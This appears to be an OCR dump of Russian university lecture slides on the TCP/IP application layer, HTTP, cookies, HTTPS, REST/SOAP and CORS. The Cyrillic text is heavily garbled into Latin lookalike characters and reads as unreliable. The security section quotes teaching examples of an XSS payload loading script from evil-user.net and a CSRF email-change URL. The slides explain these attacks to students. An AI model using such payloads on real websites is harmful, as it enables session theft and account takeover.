HTTPs u ero
IIPpUKIIagHble

Apy3bs



BcnmoMHUTH BCe

OcBeXnM NpoLUnbIn MaTepuarn






KOpOTKO O I'JIaBHOM

CeTeBoe B3aMMO4ENCTBNE — MHOIOYPOBHEBOE
OcHoBHas cnpaBo4yHad mogernb ypoBHen — OS|
Ctek npotokonoB TCP/IP “nmnnemeHtupyet” OSI

NHTepdenc




oSl TCP/IP (DOD)

[ ;  Mpuknaawoii yposeHs i § B
Application layer
" ¢ YpoBeHb npeacrasnenms 4 YPOBEHb NPUNOKEHMI]
COOTHOLICHME . Presentation layer A Application layer
YPOBHEU il s  CeaHcosbiii yposenb
OSI u TCP/IP . Session layer i . b
(4 TPAHCNOPTHBIN ypoBeHs | (3 TPaHCnOpTHbIN ypoBeHb |
2 Transport layer (. Transport layer 5

5 Kawaneubiii yposeno LLC
Data link layer MAC




O6uien3BecTHBIe Xutenu sataxeu TCP/IP

YpoBeHb [Mpumepsbl Xutenen [MpmevaHue

FTP, HTTP, SOAP, SMTP,
SSL/TLS, ...

TpaHcnoptHein  TCP, UDP, QUIC

[MpnknagHomn BHe cneundpukaymm

MexxceTeBou IP, ICMP

dunanyeckumn Ethernet, 802.11, 802.15, IrDA, ...  BHe cneundwukaumnm




PasMHHKA

[TpMepbl TUNUYHLIX 3abnyXaeHun



3agauka N9l

[laHo: connection refused
Bonpoc: 4em nomMoxeT ytunurta ping?
OTBeT: HU4YemM

NMosicHeHue: Takasi oLuMbKa 3HAYUT, 4YTO AO0CTYN
eCTb, HO yKa3aHHbII7I NnopT HUKEM HE
NPOCIyLWnNBaETCA.
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3agauka N292

[aHo: Bxoasilee coeguHeHne No NpoTOKOoNy
SMTP Ha nopTt 25

HauTtun: Homep ncxoasilero nopta

OTBerT: ’
gV

[MosicHeHMe: HoOMepa UcxXoasLLMX NOPTOB
He CBsi3aHbl CO BXOOALWMMU, HE DUKCUPOBaHbI U
B oOLEeM criyyae He npeackasyemsbl.

1



[IpuknagHON
ypoBeHb TCP/IP



Pasuuila MeXxy GopMaTOM ¥ IIPOTOKOJIOM

dopmat — cnocob npeacTaBneHns gaHHbIX.
OTBevaeT Ha Bonpoc: «YTo nepenatb?»

lMpoTokon — cnocob opraHnsauunm oobmeHa.
OTtBeyvaeT Ha Bonpoc: «Kak nepegatb?»

15



AMQP | JSON
————r
S 7 -
HTTP D HTML
SOAP I XML
[N — [TlpnmeHeHne
DICOM PFIF

S

\

[MpoToKkonbl BblICHSIEM OTHOILIEHMS dopmarsbl

16



[IpuKIIagHBIX IPOTOKOJIOB MHOTO

AMQP
FTP
POP3
SMTP
IMAP
HTTP

DICOM
SSH
Telnet
SIP
IPTV

Exchange
ActiveSync

SOAP
BitTorrent
BitCoin
DHCP
WebDAV
WebRTC

18



[IpUKIIaJHOM YPOBEHD MOXET 6bITh COCTAaBHBIM

Ona TCP/IP — aTto oauH
NpUKNagHoOM ypOBEHD,
HO B HEM MNPOTOKONbI
ObIBaAlOT BIIOXKEHHLIMMN.

19
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HTTP v0.9

1991, CERN, Tim-Berners Lee
Tonbko metoa GET
Tonbko HTML

25



RFC

Request For Comments —
TEKCTOBbIN OOKYMEHT

C onncaHueMm npeafiaraemoro
pelleHnsa (crneundukaymsa)

26



BpEMEHEM
B Poccum...




HTTP v1.0

1996, HTTP Work Group
HoBble MeToabl
be3onacHoCTb
MeTagaHHble

28



HTTP vl.1 }(}

1997, HTTP-WG
[Tepencnonb3oBaHmne TCP-
coeanHeHUn

Camas
pacnpocTpaHEHHas
No cen OeHb BepCuUs

29



HTTP/2

2015, Bblpoc n3 Google SPDY
BuHapHbIN

CepBep MOXeT push'uTb KnneHTa

[TooaepXXnBaet MysrsTUNIIEKCUpPOBaHNE
YMeeT cxnmaTh 3arofioBKuU

30



HTTP/3

NcTopus:
[TosiBunca B mailing list — ceHTs0pb 2018
UepHoBuk RFC — Hos6pb 2019

© MpuHar B IETF — nioHb 2022
OcHoBaH Ha Google QUIC (nosepx UDP)

B-eraryee-RrpeanemeHis NPUHAT B CTaHAapT

31



HTTP/3

© BuHapHbIN
C>KnmaeT 3aronoBKu
OuyeHb ObICTpbIN handshake
BcTpoeHHas be3onacHOCTb
YCTONYMB K CMEHE CETU
He nogoaepxmnBaet server push

32



HTTP/3 Site Support Growth

34
32
30

28

Sites (%)

26

24
NCTOYHUK:

N Lweyka 22

20

18
Jul 2022 Jan 2023 Jul 2023 Jan 2024 Jul 2024 Jan 2025 Jul 2025

Month


https://www.perplexity.ai/search/kak-shiroko-rasproctranen-prot-1zUdNIBrQ6CapaVY4p7lEQ#2

HTTP

ObLwme ceBegeHnst Ha npumepe v1.1



Hyper Text Transfer Protocol

TeKkcToBbIN MPOTOKOM 00LEro Ha3Ha4YeHUs
Ha ocHoBe nap «3arnpoc-0TBET»
EavHnua nepenayn — cooduleHne

35



YuyacTHUKU B3auMopgeuctsusa B HTTP

KnueHT MNMpokcu

Bcerga nHnymnpyet [MpobpacbiBaet
coenHeHwue. 3anpocbl U OTBETHI
Tonbko oTnpasnser MeXy KINUEHTOM U

3anpockl U NONy4YaeT  CepBEpPOM.
OTBETHI.

a.k.a

User-Agent

CepBep

OTBeYaeT KINUEeHTY.
[MpenoctaBnser
pecypchbl N 0eNCTBUS
(meToabl API).

36



Oéuiue cBeneuust 06 HTTP

He nmeet coctoaHum (stateless)
Bce ceccun — nogenku nosepx HTTP
TCP-coeanHeHune # ceccud

ObblyHO paboTaeT Hag TCP
Ho moxet n Hag UDP

[TogoepkmBaeT ayTeHTUudmKauuto

37



HTTP 3anpochl

OT KN1eHTa K cepBepy



URL

Uniform Resource Locator
— YHUULUMPOBAHHLIN
aJpec 3NeKTPOHHOro

pecypca

39



URL 3afjaeT TOUKy Ha3HayYeHUd OJIS 3alIpoca

dd
T

userinfo

@’

host

path

o

port

L@

query

3

fragment

http://cs.nsu.ru:8081/artifactory/home.html?id=1&v=2

40



CTPYKTypa COObIIeHUSsI 3ampoca (BU CBEPXY)

CTpoka 3anpoca
3arosioBKu 3arnpoca
Myctaa ctpoka \ (V) /[
‘Teno 3anpoca]

GET / HTTP/1.1
Host: weather.nsu.ru

Connection: keep-alive

41



CTpoKa 3armpoca

MeTton

I\ UyBcTBUTENEH K
perncrpy

Pecypc
He obsi3aH cogepxaTb XOCT
[1poToKon

Bcerga HTTP/1.1
GET /images/logo.png HTTP/1.1

42



MeTtoAabl
HTTP

I R .

”

’-——l-—

7

OPTIONS

-

CONNECT

-

NaeMnoTeHTHbIe
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3aroJIOBKM 3aIpoca

[Tapbl «KIHOY: 3HAYEHUER
He 4yBCTBUTENbLHBbI K PErucTpy
bbiBaloT cTaHOapTHbLIE N crieyndunYHbIe
He nmetot orpanHmnyerun B8 RFC
Ho ecTb, Hanpumep, B Apache HTTPD:
100 wTt/3anpoc

no 8192 6anT B KaXkaom

44



CTaHgapTHLBIE
3aroJIOBKM
3arpoca

Content-Length

Content-Type

o MIME-Tun oxxugaemoro oTBeTa

o Pa3smep Tena B 6bantax

o MIME-Tnn tena 3anpoca
o Hanpumep application/json

o (cm. Oarnee)

45



CTaHgapTHLBIE
3aroJIOBKM
3arpoca

Referer

X-Forwarded-For

User-Agent

o EQMHCTBEHHBbIN 06s3aTeNnbHbIN
o Hy>XeH BUpTyanbHOMY XOCTUHIY

o Agpec npeablayLero noceLeHus
o He oneyaTtka

o Agpec(a) npeablayLmnx NPoKcu
o Korga-To 6bin cneyndundHbIM

o |D KnMeHTCKoM nporpamMmbl
o XXepTBa BoWHbI Bpay3epoB

46



PasHOBUOHOCTM JIXXU

1. Jloxb
2. Bo3myTtutenoHaga noxb

3. User-Agent

47



351 000+

BapuaHToB 3aronoBka User-Agent

B peecTpe BrowseCap Bepcuu ot
12.10.2019

48



Empty Line

[lepeHockl cTpok B HTTP
Bceraa obo3HavaroTca CRLF,
He3aBucumo ot OC KnneHTa
n cepBepa

49



Teryo 3amnpoca

MoXeT nepenaBaThbCH
TEKCTOM «KaK eCTby,

nnoo B BASEG4
A9 ABOUYHbIX AaHHbIX

50



ApryMeHTBl 3aIIpoca MOXHO IIepe/iaBaTh I10-Pa3sHOMY

URL-napameTpbl
3arosioBKu 3arnpoca
[lona B Tene coobLeHus

51



Kakou crioco6 Bbe16paTh?

O6bIUHO 3aBUCUT

OT MeToAa GET & DELETE URL-napameTtpsbl

+ 3aro/J1I0BKMU
POST & PUT Teno coobuieHunsn

[lns kpocc-
3arnpoCHbIX

aprymeHToB

52



CTPYKTypa COObIIeHUSsI 3ampoca (BU CBEPXY)

CTpoka 3anpoca
3arosioBKu 3arnpoca
Myctaa ctpoka \ (V) /[
‘Teno 3anpoca]

GET / HTTP/1.1
Host: weather.nsu.ru

Connection: keep-alive

53



77:5'}!"![0?[“

JUST HTTP

WcTounuk


https://www.reddit.com/r/networkingmemes/comments/1j3zkqx/its_just_http_its_very_simple/#lightbox

HTTP oTrBeTHhl

OT cepBepa K KINEHTY



CTPYKTypa Co0obLIeHMsI OTBeTa (BU CBEPXY)

CTpoka ctaTyca
3arosioBkn OTBETA
Myctaa ctpoka \ (V) /[
'Teno oTBeTa]

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)

Content-Type: text/html

57



CTpoKa cTaTyca

Bepcusa npoTtokona
Bcergpa HTTP/1.1
Kop oTBeTa
Tpex3Ha4yHoe Yncrno
CnoBecHoe NosicCHeHne

Tonbko Ansa noaen

HTTP/1.1 200 OK

58



Konrl oTBeTOB

1xx informational response
2xx successful

3xx redirection

4xx client error

OXX Server error

B HekoTopbix APl Bce wTaTHble oTBETHLI UMetoT kog, 200,
a NpuKnagHble cTaTtycbl OTAAKTCS MNosfieM B Terne oTBeTa

59
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https://programmerhumor.io/frontend-memes/error-code-in-json-q7bq

HekoTophble cTaHOapTHBIE KOOkl oTBeTOB HTTP

B NONONONONONE

500
503
302
301
403
401
418




CTaHgapTHLBIE
3aroJIOBKM
OTBeTa

Location

Transfer-Encoding

Set-Cookie

o HasBaHue 1 Bepcus cepeepa

o Agpec nepeHanpasreHnd
o Mcnonb3yeTcs npu peaupekrax

o PopmMa KogMpoBaHMA OTBETA:
chunked, compress, deflate, gzip

O CoxpaHeHme AaHHbIX Ha KIMTMeHTe

62



Cookle — 3To0 KaK HOMEPOK B rapjiepobe

Tebe He Ba)XKHO, KaKOW OH.
[TlpocTo BepHU ero 6abyLuke.

63



OCHOBHBIE cBefleHUd 0 cookles

Hebonblwue (<4KB) KyCco4kn rnpon3BoSibHbIX AaHHbIX
bbIBalOT CECCUOHHBbIE N MOCTOAHHLIE
[TpMeHeHns

AyTeHTndpuKkaumng

[lepcoHanmnsauus

BeneHue ceccumn

CObop cTaTUCTUKM

64



ATpubyThl cookies

name — Ha3BaHue (Nnoboe)

value — nonesHas Harpy3ka (nobas)

expires / max-age — garta nmbo CPoOK OKOHYaHUSA
path — npuBA3Kka K KOHKPETHOMY pecypcy cepBepa
domain — npuBsa3Ka K JOMEHY
secure — Tonbko ans nepenaym no HTTPS
httponly — 3anpet goctyna n3 JS

65



3rd party
cookies

[Tpumep 1

N CcTOYHUK

@

®

shop.site

auth.site

Send sign-in request to server

Send session ID cookie back to browser @

forum.site

auth.site

Regquest auth.site along with
session ID cookie

Session ID valid; user

service.site

auth.site

signed in immediately

Request auth.site along with
session 1D cookie

Session ID valid; user

signed in immediately



https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/Third-party_cookies

&

Visits website A

3rd party User browser
cookies e}

it et L Ll

J.

Sends back cookies with unique ID

[Mpnmep 2

Exits A and Website B
visits
website B

User clicks on
the ad and

/ returns to A

<@ b.com
WORLD NEWS

Cookies from A stored
on user browser place
personalized ad on B

NCTOYHMK


https://www.google.com/url?sa=i&url=https%3A%2F%2Fwww.cookieyes.com%2Fblog%2Fthird-party-cookies%2F&psig=AOvVaw1MtkRh8G0t9rYg8XPkij00&ust=1757848613057000&source=images&cd=vfe&opi=89978449&ved=0CBgQjhxqFwoTCMjpu8XO1Y8DFQAAAAAdAAAAABAf
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GPDR

EBpocoto3 B mae 2018
npupaBHA O0NbLINWHCTBO
cookies K nepcoHanbHbIM

OAHHbIM

=
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COOKIE CONSENT

Mbl 0BpabatbiBaeM cookies, 4Tobbl caoenaTb Haw CanT
ynobHee u nepcoHanuanposarHee ana sac. MNoapobHee:
NONUTMKa Ucnonb3osaHua cookies 1 3alMTa JaHHbIX.

sberbank.ru

30eCb Mbl HE TOMbKO
paccKa3biBaeM O CUTU-
dbepmepcTae, HO 1 cobupaem

KYKW, MOTOMY YTO 63 HnX

BOOBLLE HMYero He paboraer

Huuero, 1 NnpuBbIK

city-farmer.ru

Mbi NCnoJibdyemMm KykKu Ha BCEX CBOUX cauTax, BKJ1loyast 3T10T, MOTOMY 4TO 6e3 KYyK 3006u1,e B€Cb UHTEPHET pa60Tan 6bl yepes Xxorny

artlebedev.ru


http://sberbank.ru
http://city-farmer.ru
http://artlebedev.ru

Pe>XM MHKOTHUTO B 6pay3epax &

OTKpbIBAET cCanTbl C NYCTbIM XpaHUnuwiem cookies

icknrovaeT npobpoc nepcoHanbHbIX
npeanoyYTeHnn (Naposrien, HacTpPoek n T.n.)

72



Pacckaxu aaane Xpomy, Kakon
CaNT Thi XOYelWb NocCeTuTL?

He ckaxy

MoxeT xovewsb pacckasarb
aT0 MUCTEPY MHKOrHKUTO?

Xopowo!




[Tepepgaua cookies

OT cepBepa KITNEHTY:
3aronoBok Set-Cookie

OT KnneHTa cepsepy:
3aronoBok Cookie

Cookies He aBnsATCA CTPYKTYPHON €ONHNLEN
coobweHnn B HTTP
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CTPYKTypa coobLIeHMsI OTBeTa (BU CBEPXY)

CTpoka ctaTyca
3arosioBkn OTBETA
Myctaa ctpoka \ (V) /[
'Teno oTBeTa]

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)

Content-Type: text/html

75



Jlyqwe 1 pa3 ysuoems,
yem 100 pa3 ycnbituameb

76



CoyuacTHuUK HTTP

HTTPs n opyrne kombnHauum



HTTP Secure

I\, He aBnserca camocTosATeNbHbIM MPOTOKOSIOM
HTTPS = HTTP + SSL/TLS
CepBepHbIE MPUIOXeHUA MOryT He 3HaTb nNpo TLS
Ho KnneHTbl 3HaTb 00A3aHbI:
[TopT meHseTca ¢ 80 Ha 443
Cxema meHsieTcs ¢ http:// Ha https://
[Mpumensietca TLS SNI]

78



[IimaH pacckasa npo SSL/TLS




SSL/TLS

TLS — 910 coBpeMeHHasa Bepcusa SSL
MecTo B cTekax:
OSI — ypoBeHb npeacrasrneHus
TCP/IP — npuknagHoOW ypoBEHb

TLS cHumaeTca 1o obpaboTkm 3anpoca cepBepom

TLS nobaBnsaerca rnocrne oTrnpaBky OTBETA UM XKe

80



HTTP MmoxeT ncnonb3oBaTtbCs
Kak TpaHCnopT ANsa Apyrmx
NPOTOKOIOB.



SOAP — Simple Object Access Protocol

[Tlo3BonaeT 3apaHee 4YeTKko
0003HauYNTb, Kak 1 4Yem
byayT obmeHmnBaTbCA
CTOPOHbI NPY ODLLEHNN

SOAP = HTTP + XML

83



SOAP cTpouTcsi Ha 2 apTedaKTax

WSDL XSD
Web Service Description XML Schema Definition
Language

OnucbiBaeT nepegaBaemMble
OnuckiBaeT Habop AencTeBumn, To OaHHble, TO ECTb «4eM» OyayT
eCTb «Kkak» byayT obuwaTbcs 0OMeHNBATLCA CTOPOHbI.

CTOPOHBI.

84



ITocToMHCcTBa U HegocTaTKu SOAP

/& Ctporoctb

/E YHuBepcanbHOCTb

¥ BontnueocTb
¥ MpoussoantensHOCTbL
¥ «XSD hell»

85



REST — REpresentational State Transfer

APXUTEKTYPHbIN CTUIMb
NOCTPOEHNSA CEPBUCOB

REST = HTTP + JSON

86



OcHOBHBle cBoycTBa REST

URL aBngeTca yacTbio CMbICIIOBOW HArpy3ku 3anpoca
HTTP meton obo3Ha4yaeT gencrteme
Pecypc — 0OBbEKT NMPUNoOXeHus OencTBus

IMeeT BeECOMbIE MITHChI:
[1pocTon
J1aKOHUYHbIN
bbicTpbIV

87



ApxuteKTypHBble cTunu API

< | GraphQL | f
b : N )




NCTOYHUK

DIFFERENT TYPES OF API

Rap'dAZRCJ(:)?;“}\LQ? ‘a.
GRAPHQL SOAP RPC
FOLLOWS SIX
STRUCTURE | ARGHITECTURAL  SCHEMAMDTYPE  MesshGe STRUCTURE gy o oh
CONSTRAINTS
JSON, XML, JSON JSON, XML,
FORMAT HTML. PLAIN TEXT ik FLATBUFFERS, ETC
FLEXIBLE IN TERMS | $0LVES 0VER-FETCHING LIGHTWEIGHT
ADVANTAGES | oF pATA FORMAT AND HIGHEY OECIRE
AND UNDER-FETCHING AND IBL PAYLOADS MAKE IT
STRUCTURE DAL HIGH PERFORMING
COMMAND-FOCUSED
c RESOURCES BASED OBILE API PAYMENT
USE CASES | Japs A . GATEWAYS ALY


https://www.google.com/url?sa=i&url=https%3A%2F%2Fx.com%2FRapid_API%2Fstatus%2F1567656196022181891&psig=AOvVaw1iAHtsvDqp9VKSXZWzQNUu&ust=1757991773804000&source=images&cd=vfe&opi=89978449&ved=0CBkQ3YkBahcKEwiAtPLx49mPAxUAAAAAHQAAAAAQJw

be30IIacCHOCTbD

HanaoeHune n 3awmTa



HekoTophble n3BecTHble aTaky Ha HTTP

Cross-Site Scripting (XSS) — mexXcanToBbI CKPUMTUHT

o Pa3HoBMOHOCTb aTak-BHeapeHun (injection)

Cross-Site Request Forgery (CSRF) — mexcanTtoBas
nogaernka 3anpocos
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https://insecure-website.com/comment?message=<script src=https://evil-user.net/badscript.js></script>

d

[ |

|

+% Password (? sensitive data ) <
=, o=

< — <4 —]
('$ wire transfer ) ( @ Mother's maiden name ) X S S



https://portswigger.net/web-security/cross-site-scripting

https://vulnerable-website.com/email/change?email=pwned@evil-user.net

>

CIZI Change email address)

Email
changed

CSRF



https://portswigger.net/web-security/csrf

3a cueT 4ero sTo paboraeT?




XSS & XSRF

CBoMCTBO

BbinonHaemoe
nencrtemne

Feedback ans
aTaKylLLero

TunnyHoe NpUMeHeHne

XSS

ITioboe, peannsyemoe
n3 bpaysepa XepTBbl

Ectb

Kpaka gaHHbIX XXepTBbl
(maponu, 1D, ...)

XSRF

[ocTtynHoe
NnonbL3oBaTento
B TEKYLLEM pexume

HeTt

BbinonHeHne gencrteum
OT UMEHMU XepTBbl



Cross-Origin Resource Sharing (CORS)

[1To ymon4aHuio BCe KITMEHTCKME 3arnpochl
noanagatT nog Same Origin Policy (SOP)

OmkyOa npuwina cmpaHuya, mosibko myoa
U MOXHO Oerlamb 3aripochl

Tak obecne4ymBaeTcs 6e30nacHOCTb

Ho 310 ObIBaeT HeygobHO



CORS:
CYTb IIPO6JIEMEL

NCTOYHUK

Web document

foo.example

Main request: defines the origin

GET /index.html ------- H

GET styles.css --------»

GET header.png ----"-"--

Web server
foo.example

Same-origin requests always allowed

GET image.png -----------7

Canvas with font and

GET font.woff

image from bar.other

Web server
bar.other

Cross-origin requests controlled by CORS



https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS

Peutenmue 1: giis1 “ipocThbiX” 3aIIPOCOB
Client Server
Origin: https://foo.example URL: https://bar.other

GET /resources/public-data/ HTTP/1.1
Origin: https://foo.example

>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

NCTOYHUK


https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS

Client Server

Origin: https://foo.example URL: https://bar.other

PellieHUe 2: OPTIONS /doc HTTP/1.1

Origin: https://foo.example

;D; J1Id OCTAJIBHBIX Access-Control-Request-Method: POST

Access-Control-Request-Headers: X-PINGOTHER, Content-type
3aIIpoOCOB -

v

Preflight request

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-type
Access-Control-Max-Age: 86400

A

POST /doc HTTP/1.1
X-PINGOTHER: pingpong
Content-Type: text/xml; charset=UTF8
Origin: https://foo.example

v

Main request

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://foo.example
Vary: Accept-Encoding, Origin
Content-Length: 235

NCTOYHUK

A



https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS
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[IpyMeHeHMe 3HAHUN

O600LEeHNST N yNpaXXHEHUS



BJ10)XeHHOCTH ITPOTOKOJIOB

MCP

HTTP

SSL/TLS

102



3agauka N9l

[laHo: HOBas MHTerpauyms

Bonpoc: kak nucatb agpec B HacTpomnkax?
somehost.nsu.ru
http://somehost.nsu.ru
https://somehost.nsu.ru

OTBeT: 3aBMCUT OT YPOBHS LIENEBOro cepBuca
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3agauka N292

[aHo: owmbka SSL handshake error

Bonpoc: kak onpenenute HTTP koa otBeta ans
COODOLLEHNA B TEX. NOAAEPXKKY?

OTBeT: HMKaK

NMNosicHeHune: 3Ta owmnbKa BO3HMKAET Ha YPOBHE
Hke HTTP (npeaocrtaBneHust),no3aTomy
KoO oTBETA chopMUpoBaH He Obln.
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3agauka N93

[aHo: 3anpeT gocTyna K KNMeHTCKOMY
XpaHunumuly cookies

Bonpoc: kak 3agatb/n3ameHnTb cookies npwu
nx repenade cepsepy?

OTBeT: chopmupoBaTb 3arosioBok Set-Cookie

NosicHeHue: cookies He ABNATCA OTAENBbHOU
cyLwHocTblo B HTTP-coobLeHunax, a nepenatoTcs B
BMae ooblYHbIX 3arornoBkoB Set-Cookie n Cookie
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Pe3i0Me

KpaTtkasa cytb npegbiaywimnx 100 cnangos



KpaTtkasa cyTh npeapayuiux 100 cianmoB

[MpuknagHon yposeHb TCP/IP — Ta elle ataxepka

HTTP — be3ceCcCMoHHbIN NPOTOKOSM, MUHUMYM Marum
Cenyac ngeTt akTUBHbINM Nepexoa Ha v3

HTTPS - aTo He npoTokor, 3To cBA3ka HTTP + SSL
SSL/TLS moxeT ncnonbsoBatbcd 6e3 HTTP
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Crnacub6o!

EcTb BonpochbI?
3agaBanTe (&)

Bnagumup Nnusra
toparvion.pro
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